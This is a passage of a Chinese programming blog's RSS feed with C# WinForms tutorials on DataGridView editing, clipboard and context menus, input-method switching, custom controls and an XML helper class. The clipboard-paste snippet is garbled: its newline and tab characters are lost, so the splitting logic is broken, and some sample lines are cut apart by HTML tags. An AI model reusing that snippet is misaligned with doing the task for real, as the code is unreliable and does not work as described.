<p>*******根据条件设定单元格的不可编辑状态<br>
当一个一个的通过单元格坐标设定单元格 ReadOnly 属性的方法太麻烦的时候，你可以通过 CellBeginEdit 事件来取消单元格的编辑。</p>
<p>*******// CellBeginEdit 事件处理方法<br>
private void DataGridView1_CellBeginEdit(object sender,&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewCellCancelEventArgs e)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridView dgv = (DataGridView)sender;&nbsp;<br>
&nbsp;&nbsp;&nbsp; //是否可以进行编辑的条件检查&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (dgv.Columns[e.ColumnIndex].Name == "Column1" &amp;&amp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !(bool)dgv["Column2", e.RowIndex].Value)&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 取消编辑&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.Cancel = true;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;<br>
}<br>
********DataGridView 剪切板的操作<br>
DataGridView.ClipboardCopyMode 属性被设定为 DataGridViewClipboardCopyMode.Disable 以外的情况时，「Ctrl + C」 按下的时候，被选择的单元格的内容会拷贝到系统剪切板内。格式有： Text， UnicodeText，Html， CommaSeparatedValue。可以直接粘贴到 Excel 内。</p>
<p>ClipboardCopyMode 还可以设定 Header部分是否拷贝： EnableAlwaysIncludeHeaderText 拷贝Header部分、EnableWithoutHeaderText 则不拷贝。默认是 EnableWithAutoHeaderText ， Header 如果选择了的话，就拷贝。&nbsp;<br>
1） 编程方式实现剪切板的拷贝&nbsp;<br>
Clipboard.SetDataObject(DataGridView1.GetClipboardContent())&nbsp;<br>
2) DataGridView 的数据粘贴&nbsp;<br>
实现剪切板的拷贝比较容易，但是实现 DataGridView 的直接粘贴就比较难了。「Ctrl + V」按下进行粘贴时，DataGridView 没有提供方法，只能自己实现。&nbsp;<br>
以下，是粘贴时简单的事例代码，将拷贝数据粘贴到以选择单元格开始的区域内。</p>
<p>//当前单元格是否选择的判断&nbsp;<br>
if (DataGridView1.CurrentCell == null)&nbsp;<br>
&nbsp;&nbsp;&nbsp; return;&nbsp;<br>
int insertRowIndex = DataGridView1.CurrentCell.RowIndex;&nbsp;<br>
// 获取剪切板的内容，并按行分割&nbsp;<br>
string pasteText = Clipboard.GetText();&nbsp;<br>
if (string.IsNullOrEmpty(pasteText))&nbsp;<br>
&nbsp;&nbsp;&nbsp; return;&nbsp;<br>
pasteText = pasteText.Replace(" ", " ");&nbsp;<br>
pasteText = pasteText.Replace(' ', ' ');&nbsp;<br>
pasteText.TrimEnd(new char[] { ' ' });&nbsp;<br>
string[] lines = pasteText.Split(' ');</p>
<p>bool isHeader = true;&nbsp;<br>
foreach (string line in lines)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; // 是否是列头&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (isHeader)&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; isHeader = false;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; continue;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;<br>
&nbsp;&nbsp;&nbsp; // 按 Tab 分割数据&nbsp;<br>
&nbsp;&nbsp;&nbsp; string[] vals = line.Split(' ');&nbsp;<br>
&nbsp;&nbsp;&nbsp; // 判断列数是否统一&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (vals.Length - 1 != DataGridView1.ColumnCount)&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new ApplicationException("粘贴的列数不正确。");&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewRow row = DataGridView1.Rows[insertRowIndex];&nbsp;<br>
&nbsp;&nbsp;&nbsp; // 行头设定&nbsp;<br>
&nbsp;&nbsp;&nbsp; row.HeaderCell.Value = vals[0];&nbsp;<br>
&nbsp;&nbsp;&nbsp; // 单元格内容设定&nbsp;<br>
&nbsp;&nbsp;&nbsp; for (int i = 0; i &lt; row.Cells.Count; i++)&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; row.Cells[i].Value = vals[i + 1];&nbsp;<br>
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // DataGridView的行索引+1&nbsp;<br>
&nbsp;&nbsp;&nbsp; insertRowIndex++;&nbsp;<br>
}</p>
<p>*******DataGridView 的右键菜单（ContextMenuStrip）<br>
DataGridView, DataGridViewColumn, DataGridViewRow, DataGridViewCell 有 ContextMenuStrip 属性。可以通过设定 ContextMenuStrip 对象来控制 DataGridView 的右键菜单的显示。 DataGridViewColumn 的 ContextMenuStrip 属性设定了 除了列头以外的单元格的右键菜单。 DataGridViewRow 的 ContextMenuStrip 属性设定了除了行头以外的单元格的右键菜单。DataGridViewCell 的 ContextMenuStrip 属性设定了指定单元格的右键菜单。</p>
<p>// DataGridView 的 ContextMenuStrip 设定&nbsp;<br>
DataGridView1.ContextMenuStrip = this.ContextMenuStrip1;&nbsp;<br>
// 列的 ContextMenuStrip 设定&nbsp;<br>
DataGridView1.Columns[0].ContextMenuStrip = this.ContextMenuStrip2;&nbsp;<br>
// 列头的 ContextMenuStrip 设定&nbsp;<br>
DataGridView1.Columns[0].HeaderCell.ContextMenuStrip = this.ContextMenuStrip2;&nbsp;<br>
// 行的 ContextMenuStrip 设定&nbsp;<br>
DataGridView1.Rows[0].ContextMenuStrip = this.ContextMenuStrip3;&nbsp;<br>
// 单元格的 ContextMenuStrip 设定&nbsp;<br>
DataGridView1[0, 0].ContextMenuStrip = this.ContextMenuStrip4;&nbsp;<br>
对于单元格上的右键菜单的设定，优先顺序是：　Cell &gt; Row &gt; Column &gt; DataGridView<br>
*****CellContextMenuStripNeeded、RowContextMenuStripNeeded　事件<br>
利用　CellContextMenuStripNeeded　事件可以设定单元格的右键菜单，尤其但需要右键菜单根据单元格值的变化而变化的时候。比起使用循环遍历，使用该事件来设定右键菜单的效率更高。但是，在DataGridView使用了DataSource绑定而且是VirtualMode的时候，该事件将不被引发。&nbsp;<br>
//　CellContextMenuStripNeeded事件处理方法&nbsp;<br>
private void DataGridView1_CellContextMenuStripNeeded(object sender,&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewCellContextMenuStripNeededEventArgs e)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridView dgv = (DataGridView)sender;&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (e.RowIndex &lt; 0)&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //　列头的ContextMenuStrip设定&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.ContextMenuStrip = this.ContextMenuStrip1;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;<br>
&nbsp;&nbsp;&nbsp; else if (e.ColumnIndex &lt; 0)&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //　行头的ContextMenuStrip设定&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.ContextMenuStrip = this.ContextMenuStrip2;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;<br>
&nbsp;&nbsp;&nbsp; else if (dgv[e.ColumnIndex, e.RowIndex].Value is int)&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //　如果单元格值是整数时&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.ContextMenuStrip = this.ContextMenuStrip3;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;<br>
}&nbsp;<br>
同样，可以通过　RowContextMenuStripNeeded　事件来设定行的右键菜单。</p>
<p>//　RowContextMenuStripNeeded事件处理方法&nbsp;<br>
private void DataGridView1_RowContextMenuStripNeeded(object sender,&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridViewRowContextMenuStripNeededEventArgs e)&nbsp;<br>
{&nbsp;<br>
&nbsp;&nbsp;&nbsp; DataGridView dgv = (DataGridView)sender;&nbsp;<br>
&nbsp;&nbsp;&nbsp; //　当"Column1"列是Bool型且为True时、设定其的ContextMenuStrip&nbsp;<br>
&nbsp;&nbsp;&nbsp; object boolVal = dgv["Column1", e.RowIndex].Value;&nbsp;<br>
&nbsp;&nbsp;&nbsp; Console.WriteLine(boolVal);&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (boolVal is bool &amp;&amp; (bool)boolVal)&nbsp;<br>
&nbsp;&nbsp;&nbsp; {&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.ContextMenuStrip = this.ContextMenuStrip1;&nbsp;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;<br>
}</p>
<p>CellContextMenuStripNeeded　事件处理方法的参数中、「e.ColumnIndex=-1」表示行头、「e.RowIndex=-1」表示列头。RowContextMenuStripNeeded则不存在「e.RowIndex=-1」的情况。</p>
<p>四、针对触发事件的一些介绍<br>
我认为只要记住常用的即可，比如鼠标的操作，一些常见的点击触发事件；比如_CellParsing（）一般在编辑状态结束的时候发生。</p>
<p>其他的用到的时候算查即可，时间长了掌握的也就多了。</p>
</div>
</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://heku.cn/c-winform%e5%bc%80%e5%8f%91-datagridview%e6%8e%a7%e4%bb%b6%e7%9a%84%e5%90%84%e7%a7%8d%e6%93%8d%e4%bd%9c%e6%80%bb%e7%bb%93%ef%bc%88%e5%8d%95%e5%85%83%e6%a0%bc%e6%93%8d%e4%bd%9c%ef%bc%8c%e5%b1%9e/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>2011-08-17至2011-09-03访问流量截图</title>
		<link>http://heku.cn/2011-08-17%e8%87%b32011-09-03%e8%ae%bf%e9%97%ae%e6%b5%81%e9%87%8f%e6%88%aa%e5%9b%be</link>
		<comments>http://heku.cn/2011-08-17%e8%87%b32011-09-03%e8%ae%bf%e9%97%ae%e6%b5%81%e9%87%8f%e6%88%aa%e5%9b%be#comments</comments>
		<pubDate>Sat, 03 Sep 2011 14:47:49 +0000</pubDate>
		<dc:creator>何苦</dc:creator>
				<category><![CDATA[原创]]></category>
		<category><![CDATA[截图]]></category>
		<category><![CDATA[流量]]></category>
		<category><![CDATA[访问]]></category>

		<guid isPermaLink="false">http://heku.cn/?p=28875</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://files.blogcn.com/wp06/M00/01/0C/wKgKDU5iPscAAAAAAABOKzqzgls622.png"><img class="aligncenter size-full wp-image-28878" title="heku.cn20110903" src="http://files.blogcn.com/wp06/M00/01/0C/wKgKDU5iPscAAAAAAABOKzqzgls622.png" alt="" width="407" height="528"></a></p>
<p style="text-align: center;"></p>
]]></content:encoded>
			<wfw:commentRss>http://heku.cn/2011-08-17%e8%87%b32011-09-03%e8%ae%bf%e9%97%ae%e6%b5%81%e9%87%8f%e6%88%aa%e5%9b%be/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C#输入法设置</title>
		<link>http://heku.cn/c%e8%be%93%e5%85%a5%e6%b3%95%e8%ae%be%e7%bd%ae</link>
		<comments>http://heku.cn/c%e8%be%93%e5%85%a5%e6%b3%95%e8%ae%be%e7%bd%ae#comments</comments>
		<pubDate>Sun, 15 May 2011 14:34:25 +0000</pubDate>
		<dc:creator>何苦</dc:creator>
				<category><![CDATA[转载]]></category>

		<guid isPermaLink="false">http://heku.cn/?p=28870</guid>
		<description><![CDATA[private void Form1_Load(object sender, System.EventArgs e) {//获取输入法信息 //获取系统中已经安装的文字输入法 InputLanguageCollection MyInputs=InputLanguage.InstalledInputLanguages; //将输入法的名称添加组合框中 foreach(InputLanguage MyInput in MyInputs) this.comboBox1.Items.Add(MyInput.LayoutName); //获取当前输入法信息 InputLanguage CurrentInput=InputLanguage.CurrentInputLanguage; this.textBox1.Text=CurrentInput.LayoutName; //获取输入法的语言区域 this.textBox3.Text=CurrentInput.Culture.DisplayName; //获取默认的输入法信息 InputLanguage DefaultInput=InputLanguage.DefaultInputLanguage; this.textBox2.Text=DefaultInput.LayoutName; } private void comboBox1_SelectedIndexChanged(object sender, System.EventArgs e) {//设置当前输入法 //获取选择的输入法 InputLanguage MyInput=InputLanguage.InstalledInputLanguages[this.comboBox1.SelectedIndex]; //设置当前输入法 InputLanguage.CurrentInputLanguage=MyInput; //获取当前输入法信息 InputLanguage CurrentInput=InputLanguage.CurrentInputLanguage; this.textBox1.Text=CurrentInput.LayoutName; //获取输入法的语言区域 this.textBox3.Text=CurrentInput.Culture.DisplayName; //获取默认的输入法信息 InputLanguage DefaultInput=InputLanguage.DefaultInputLanguage; this.textBox2.Text=DefaultInput.LayoutName; }]]></description>
			<content:encoded><![CDATA[<p>private void Form1_Load(object sender, System.EventArgs e)<br>
{//获取输入法信息<br>
//获取系统中已经安装的文字输入法<br>
InputLanguageCollection MyInputs=InputLanguage.InstalledInputLanguages;<br>
//将输入法的名称添加组合框中<br>
foreach(InputLanguage MyInput in MyInputs)<br>
this.comboBox1.Items.Add(MyInput.LayoutName);<br>
//获取当前输入法信息<br>
InputLanguage CurrentInput=InputLanguage.CurrentInputLanguage;<br>
this.textBox1.Text=CurrentInput.LayoutName;<br>
//获取输入法的语言区域<br>
this.textBox3.Text=CurrentInput.Culture.DisplayName;<br>
//获取默认的输入法信息<br>
InputLanguage DefaultInput=InputLanguage.DefaultInputLanguage;<br>
this.textBox2.Text=DefaultInput.LayoutName;<br>
}</p>
<p>private void comboBox1_SelectedIndexChanged(object sender, System.EventArgs e)<br>
{//设置当前输入法<br>
//获取选择的输入法<br>
InputLanguage MyInput=InputLanguage.InstalledInputLanguages[this.comboBox1.SelectedIndex];<br>
//设置当前输入法<br>
InputLanguage.CurrentInputLanguage=MyInput;<br>
//获取当前输入法信息<br>
InputLanguage CurrentInput=InputLanguage.CurrentInputLanguage;<br>
this.textBox1.Text=CurrentInput.LayoutName;<br>
//获取输入法的语言区域<br>
this.textBox3.Text=CurrentInput.Culture.DisplayName;<br>
//获取默认的输入法信息<br>
InputLanguage DefaultInput=InputLanguage.DefaultInputLanguage;<br>
this.textBox2.Text=DefaultInput.LayoutName;<br>
}</p>
]]></content:encoded>
			<wfw:commentRss>http://heku.cn/c%e8%be%93%e5%85%a5%e6%b3%95%e8%ae%be%e7%bd%ae/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>写C#自定义控件的心得</title>
		<link>http://heku.cn/%e5%86%99c%e8%87%aa%e5%ae%9a%e4%b9%89%e6%8e%a7%e4%bb%b6%e7%9a%84%e5%bf%83%e5%be%97</link>
		<comments>http://heku.cn/%e5%86%99c%e8%87%aa%e5%ae%9a%e4%b9%89%e6%8e%a7%e4%bb%b6%e7%9a%84%e5%bf%83%e5%be%97#comments</comments>
		<pubDate>Fri, 11 Mar 2011 01:05:09 +0000</pubDate>
		<dc:creator>何苦</dc:creator>
				<category><![CDATA[转载]]></category>

		<guid isPermaLink="false">http://heku.cn/?p=28868</guid>
		<description><![CDATA[使用C#也有一段时间了,但从未自已设计过自定义控件,刚刚完成了一个自定义控件的设计,觉得有一些技巧和知识,可以做一个总结. 有些东西,从MSDN中很不容易找到,比如对一些属性的描述设定.这里可以为此做一些汇兑. 我设计了一个平滑进度条控件,这在网上很容易找到一些现成的.不过,为了学习控件的设计,我还是自己写了一个. 这个控件继承自UserControl类.原理很简单,就是用刷子往一定的区域里面填充颜色. 设计控件当然要有一些属性,进度条设计中最主要的属性就是最小值,最大值及当前值.有了属性在VS设计器中也要有所反映,就需要对这个属性进行描述. 就拿最小值这个属性来说吧.在VS设计器选中这个属性就需要有它的描述性文字以及它所属的栏目.实现这两个方面可以在属性前加上这样一行文字: [Description("获取或设置目前进度条范围最小值"), Category("行为")] 这样在VS设计器中该属性就会看起来跟其它属性一样了.当然也可以将栏目的汉字换为英文,但目前我不知道行为在此中用什么英文表示,但外观是使用Appearance来表示. 除了描述性文字及所属栏目还可以有缺省值,这是很多属性都有的.加上DefaultValue(object value), 就可以应用缺省值了. 在VS的属性设计器中,经常有这样的属性,比如字体,点击后会出现一个字体编辑器,对于此类在VS设计器中存在的编辑器,我们可以直接使用它. 比如编辑一个字体属性. [Description("用于显示控件中文本的字体"), Category("Appearance")] public override Font Font { get { return m_LabelFont; } set { m_LabelFont = value; this.Invalidate(); } } 定义了它的返回值为Font,这样在VS设计器中,就会出现与别的控件字体一样的字体编辑器.与此类似的还有Color属性,BorderStyle属性等. 既然这个控件继承自UserControl类,那么不可避免的会继承一些我们不想在设计器中出现的属性.比如TabStop属性,我们不希望它应用在进度条身上,就必须要让它在设计器中不可见. [Browsable(false)] public new bool TabStop { get { return base.TabStop;} } Browsable(bool value)语句可以使某个属性可见或是隐藏. 有些继承的属性需要重写,不管是对它进行一定的改变操作还是要隐藏它.重写时需要使用override或是new,有的父类属性中使用的是virtual,但有些没有.没有使用virtual的属性,在子类中就要使用new来修饰了. 对于事件,继承来的也有一些是不必要的,要隐藏事件,我也找了一些资料,在网上可不多见,只是在MSDN中费了半天劲才找到一句相关的语句. 比如对于按键操作进度条也是不需要,就需要在设计器中隐藏该事件. [Browsable(false)] public new [...]]]></description>
			<content:encoded><![CDATA[<p>使用C#也有一段时间了,但从未自已设计过自定义控件,刚刚完成了一个自定义控件的设计,觉得有一些技巧和知识,可以做一个总结.<br>
有些东西,从MSDN中很不容易找到,比如对一些属性的描述设定.这里可以为此做一些汇兑.<br>
我设计了一个平滑进度条控件,这在网上很容易找到一些现成的.不过,为了学习控件的设计,我还是自己写了一个.<br>
这个控件继承自UserControl类.原理很简单,就是用刷子往一定的区域里面填充颜色.<br>
设计控件当然要有一些属性,进度条设计中最主要的属性就是最小值,最大值及当前值.有了属性在VS设计器中也要有所反映,就需要对这个属性进行描述.<br>
就拿最小值这个属性来说吧.在VS设计器选中这个属性就需要有它的描述性文字以及它所属的栏目.实现这两个方面可以在属性前加上这样一行文字:<br>
[Description("获取或设置目前进度条范围最小值"), Category("行为")]<br>
这样在VS设计器中该属性就会看起来跟其它属性一样了.当然也可以将栏目的汉字换为英文,但目前我不知道行为在此中用什么英文表示,但外观是使用Appearance来表示.<br>
除了描述性文字及所属栏目还可以有缺省值,这是很多属性都有的.加上DefaultValue(object value), 就可以应用缺省值了.<br>
在VS的属性设计器中,经常有这样的属性,比如字体,点击后会出现一个字体编辑器,对于此类在VS设计器中存在的编辑器,我们可以直接使用它.<br>
比如编辑一个字体属性.<br>
[Description("用于显示控件中文本的字体"), Category("Appearance")]<br>
public override Font Font<br>
{<br>
get { return m_LabelFont; }<br>
set<br>
{<br>
m_LabelFont = value;<br>
this.Invalidate();<br>
}<br>
}<br>
定义了它的返回值为Font,这样在VS设计器中,就会出现与别的控件字体一样的字体编辑器.与此类似的还有Color属性,BorderStyle属性等.<br>
既然这个控件继承自UserControl类,那么不可避免的会继承一些我们不想在设计器中出现的属性.比如TabStop属性,我们不希望它应用在进度条身上,就必须要让它在设计器中不可见.<br>
[Browsable(false)]<br>
public new bool TabStop<br>
{<br>
get { return base.TabStop;}<br>
}<br>
Browsable(bool value)语句可以使某个属性可见或是隐藏.<br>
有些继承的属性需要重写,不管是对它进行一定的改变操作还是要隐藏它.重写时需要使用override或是new,有的父类属性中使用的是virtual,但有些没有.没有使用virtual的属性,在子类中就要使用new来修饰了.<br>
对于事件,继承来的也有一些是不必要的,要隐藏事件,我也找了一些资料,在网上可不多见,只是在MSDN中费了半天劲才找到一句相关的语句.<br>
比如对于按键操作进度条也是不需要,就需要在设计器中隐藏该事件.<br>
[Browsable(false)]<br>
public new event EventHandler KeyDown;<br>
前面是隐藏语句,后面是事件,这样做起来,比属性成员要简单一些吧. <img src='http://heku.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'> 只是在网络中搜索了半天也没有发现与此相关的东西.<br>
对此绘图部分的操作,详细的就不在这里说了.这里只是说一些建立控件的基本东西.但是绘图的操作主要放在一起,比如放在Paint事件中.在事件的尾部再执行一下边框的绘制.<br>
当对进度条的当前值进行赋值操作时,需要在进度条内部触发一个绘图的操作,可以让Paint事件被触发.这里就需要执行一个方法Invalidate(),这个方法宣布当前区域为无效,然后触发Paint事件.<br>
进度条的区域比较小,所以不太耗费图形资源,但如果需要的图形资源比较大,且绘图操作触发频繁,就不能宣布所有区域为无效,只要宣布已经更新的区域为无效.在取得更新区域后,使用Invalidate(Rectangle rect)方法,可以只更新部分区域.<br>
对于图形控件,很多操作都需要使用Graphics类绘图,对这个庞大的类,我没有深入的研究,也不能在此多说,不然会说个没完. <img src='http://heku.cn/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley'><br>
对于进度条类,也有一些描述,比如给它一个图标,一个缺省的属性.在这个类中我仍然使用了.net中进度条的图标.<br>
[ToolboxBitmap(typeof(ProgressBar)), DefaultProperty("Value")]<br>
在VS设计器中加入平滑进度条之后,在工具面板中出现的进度条图标将是一个我们熟悉的进度条图标.当然,我们也可以使用地址路径或资源中的图标来代替它.<br>
相对的语句为:ToolboxBitmap(路径)<br>
对于控件的设计,我刚刚才开始涉及,很多东西没有发现.望有研究的同仁给予赞助.谢谢.</p>
]]></content:encoded>
			<wfw:commentRss>http://heku.cn/%e5%86%99c%e8%87%aa%e5%ae%9a%e4%b9%89%e6%8e%a7%e4%bb%b6%e7%9a%84%e5%bf%83%e5%be%97/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C# XML操作类</title>
		<link>http://heku.cn/c-xml%e6%93%8d%e4%bd%9c%e7%b1%bb</link>
		<comments>http://heku.cn/c-xml%e6%93%8d%e4%bd%9c%e7%b1%bb#comments</comments>
		<pubDate>Sun, 16 Jan 2011 08:49:06 +0000</pubDate>
		<dc:creator>何苦</dc:creator>
				<category><![CDATA[转载]]></category>

		<guid isPermaLink="false">http://heku.cn/?p=28866</guid>
		<description><![CDATA[写的一个XML操作类，包括读取/插入/修改/删除。 using System; using System.Data; using System.Configuration; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.HtmlControls; using System.Xml; namespace PuTianCheng { /// /// XmlHelper 的摘要说明 /// public class XmlHelper { public XmlHelper() { } /// /// 读取数据 /// /// 路径 /// 节点 /// 属性名，非空时返回该属性值，否则返回串联值 /// string /************************************************** * 使用示列: * XmlHelper.Read(path, "/Node", [...]]]></description>
			<content:encoded><![CDATA[<p>写的一个XML操作类，包括读取/插入/修改/删除。</p>
<p>using System;<br>
using System.Data;<br>
using System.Configuration;<br>
using System.Web;<br>
using System.Web.Security;<br>
using System.Web.UI;<br>
using System.Web.UI.WebControls;<br>
using System.Web.UI.WebControls.WebParts;<br>
using System.Web.UI.HtmlControls;<br>
using System.Xml;</p>
<p>namespace PuTianCheng<br>
{<br>
///<br>
/// XmlHelper 的摘要说明<br>
///</p>
<p>public class XmlHelper<br>
{<br>
public XmlHelper()<br>
{<br>
}</p>
<p>///<br>
/// 读取数据<br>
///</p>
<p>/// 路径 /// 节点 /// 属性名，非空时返回该属性值，否则返回串联值 /// string<br>
/**************************************************<br>
* 使用示列:<br>
* XmlHelper.Read(path, "/Node", "")<br>
* XmlHelper.Read(path, "/Node/Element[@Attribute='Name']", "Attribute")<br>
************************************************/<br>
public static string Read(string path, string node, string attribute)<br>
{<br>
string value = "";<br>
try<br>
{<br>
XmlDocument doc = new XmlDocument();<br>
doc.Load(path);<br>
XmlNode xn = doc.SelectSingleNode(node);<br>
value = (attribute.Equals("") ? xn.InnerText : xn.Attributes[attribute].Value);<br>
}<br>
catch { }<br>
return value;<br>
}</p>
<p>///<br>
/// 插入数据<br>
///</p>
<p>/// 路径 /// 节点 /// 元素名，非空时插入新元素，否则在该元素中插入属性 /// 属性名，非空时插入该元素属性值，否则插入元素值 /// 值 ///<br>
/**************************************************<br>
* 使用示列:<br>
* XmlHelper.Insert(path, "/Node", "Element", "", "Value")<br>
* XmlHelper.Insert(path, "/Node", "Element", "Attribute", "Value")<br>
* XmlHelper.Insert(path, "/Node", "", "Attribute", "Value")<br>
************************************************/<br>
public static void Insert(string path, string node, string element, string attribute, string value)<br>
{<br>
try<br>
{<br>
XmlDocument doc = new XmlDocument();<br>
doc.Load(path);<br>
XmlNode xn = doc.SelectSingleNode(node);<br>
if (element.Equals(""))<br>
{<br>
if (!attribute.Equals(""))<br>
{<br>
XmlElement xe = (XmlElement)xn;<br>
xe.SetAttribute(attribute, value);<br>
}<br>
}<br>
else<br>
{<br>
XmlElement xe = doc.CreateElement(element);<br>
if (attribute.Equals(""))<br>
xe.InnerText = value;<br>
else<br>
xe.SetAttribute(attribute, value);<br>
xn.AppendChild(xe);<br>
}<br>
doc.Save(path);<br>
}<br>
catch { }<br>
}</p>
<p>///<br>
/// 修改数据<br>
///</p>
<p>/// 路径 /// 节点 /// 属性名，非空时修改该节点属性值，否则修改节点值 /// 值 ///<br>
/**************************************************<br>
* 使用示列:<br>
* XmlHelper.Insert(path, "/Node", "", "Value")<br>
* XmlHelper.Insert(path, "/Node", "Attribute", "Value")<br>
************************************************/<br>
public static void Update(string path, string node, string attribute, string value)<br>
{<br>
try<br>
{<br>
XmlDocument doc = new XmlDocument();<br>
doc.Load(path);<br>
XmlNode xn = doc.SelectSingleNode(node);<br>
XmlElement xe = (XmlElement)xn;<br>
if (attribute.Equals(""))<br>
xe.InnerText = value;<br>
else<br>
xe.SetAttribute(attribute, value);<br>
doc.Save(path);<br>
}<br>
catch { }<br>
}</p>
<p>///<br>
/// 删除数据<br>
///</p>
<p>/// 路径 /// 节点 /// 属性名，非空时删除该节点属性值，否则删除节点值 /// 值 ///<br>
/**************************************************<br>
* 使用示列:<br>
* XmlHelper.Delete(path, "/Node", "")<br>
* XmlHelper.Delete(path, "/Node", "Attribute")<br>
************************************************/<br>
public static void Delete(string path, string node, string attribute)<br>
{<br>
try<br>
{<br>
XmlDocument doc = new XmlDocument();<br>
doc.Load(path);<br>
XmlNode xn = doc.SelectSingleNode(node);<br>
XmlElement xe = (XmlElement)xn;<br>
if (attribute.Equals(""))<br>
xn.ParentNode.RemoveChild(xn);<br>
else<br>
xe.RemoveAttribute(attribute);<br>
doc.Save(path);<br>
}<br>
catch { }<br>
}<br>
}<br>
}</p>
<p>==================================================</p>
<p>XmlFile.xml：<br>
<br></p>
<p>==================================================</p>
<p>使用方法：</p>
<p>string xml = Server.MapPath("XmlFile.xml");<br>
//插入元素<br>
//XmlHelper.Insert(xml, "/Root", "Studio", "", "");<br>
//插入元素/属性<br>
//XmlHelper.Insert(xml, "/Root/Studio", "Site", "Name", "小路工作室");<br>
//XmlHelper.Insert(xml, "/Root/Studio", "Site", "Name", "丁香鱼工作室");<br>
//XmlHelper.Insert(xml, "/Root/Studio", "Site", "Name", "谱天城工作室");<br>
//XmlHelper.Insert(xml, "/Root/Studio/Site[@Name='谱天城工作室']", "Master", "", "红尘静思");<br>
//插入属性<br>
//XmlHelper.Insert(xml, "/Root/Studio/Site[@Name='小路工作室']", "", "Url", "http://www.wzlu.com/");<br>
//XmlHelper.Insert(xml, "/Root/Studio/Site[@Name='丁香鱼工作室']", "", "Url", "http://www.luckfish.net/");<br>
//XmlHelper.Insert(xml, "/Root/Studio/Site[@Name='谱天城工作室']", "", "Url", "http://www.putiancheng.com/");<br>
//修改元素值<br>
//XmlHelper.Update(xml, "/Root/Studio/Site[@Name='谱天城工作室']/Master", "", "RedDust");<br>
//修改属性值<br>
//XmlHelper.Update(xml, "/Root/Studio/Site[@Name='谱天城工作室']", "Url", "http://www.putiancheng.net/");<br>
//XmlHelper.Update(xml, "/Root/Studio/Site[@Name='谱天城工作室']", "Name", "PuTianCheng Studio");<br>
//读取元素值<br>
//Response.Write("</p>
<div>" + XmlHelper.Read(xml, "/Root/Studio/Site/Master", "") + "</div>
<p>");<br>
//读取属性值<br>
//Response.Write("</p>
<div>" + XmlHelper.Read(xml, "/Root/Studio/Site", "Url") + "</div>
<p>");<br>
//读取特定属性值<br>
//Response.Write("</p>
<div>" + XmlHelper.Read(xml, "/Root/Studio/Site[@Name='丁香鱼工作室']", "Url") + "</div>
<p>");<br>
//删除属性<br>
//XmlHelper.Delete(xml, "/Root/Studio/Site[@Name='小路工作室']", "Url");<br>
//删除元素<br>
//XmlHelper.Delete(xml, "/Root/Studio", "");</p>
]]></content:encoded>
			<wfw:commentRss>http://heku.cn/c-xml%e6%93%8d%e4%bd%9c%e7%b1%bb/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>DOS命令大全(经典收藏)</title>
		<link>http://heku.cn/dos%e5%91%bd%e4%bb%a4%e5%a4%a7%e5%85%a8%e7%bb%8f%e5%85%b8%e6%94%b6%e8%97%8f</link>
